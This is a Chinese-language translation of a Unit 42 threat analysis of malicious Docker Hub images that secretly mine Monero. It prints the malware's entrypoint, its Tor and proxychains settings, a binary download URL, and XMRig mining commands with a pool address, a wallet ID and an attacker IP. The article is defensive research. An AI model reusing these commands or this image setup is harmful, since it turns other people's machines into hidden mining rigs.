Docker镜像被用于门罗币挖矿 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Docker镜像被用于门罗币挖矿

ang010ela 加密货币 2020-06-30 11:40:00
899316
收藏

导语:攻击者将门罗币挖矿脚本加入恶意Docker镜像中,用于门罗币挖矿。

简介

Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:

图 1. Docker Hub上的恶意Docker镜像

表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。

image.png

表 1. Docker Hub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:

1、使用Ubuntu 16.04.6 LTS作为基础镜像;

2、安装构造镜像所需的依赖库,比如gcc、make、python等;

3、安装tor来对流量进行匿名处理,配置为默认端口9050;

/etc/tor/torrc
127.0.0.1:9050

4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050

5、复制挖矿软件XMRig的源,并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图 2. 镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。

            "Entrypoint": [
                "/bin/sh",
                "-c",
                "python /etc/dao.py"
            ],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。

dao.py 脚本的执行流如下所示:

1、计算系统内CPU核的数量;

2、设置hugepages 系统特征来增加哈希率;

图 3. 设置hugepages 系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;

5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;

6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;

7、在后台启动Tor。

8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:

图 4. 使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示:

图 5. dao.py脚本执行序列

image.png

表2 dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

图 6是钱包地址2020年4月-5月之间的挖矿活动。

图 6. 钱包 ID活动

图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。

图 7. 钱包 ID挖到的门罗币

第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的Crypto Command 列给出了该方法的示例:

os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
本文翻译自:https://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务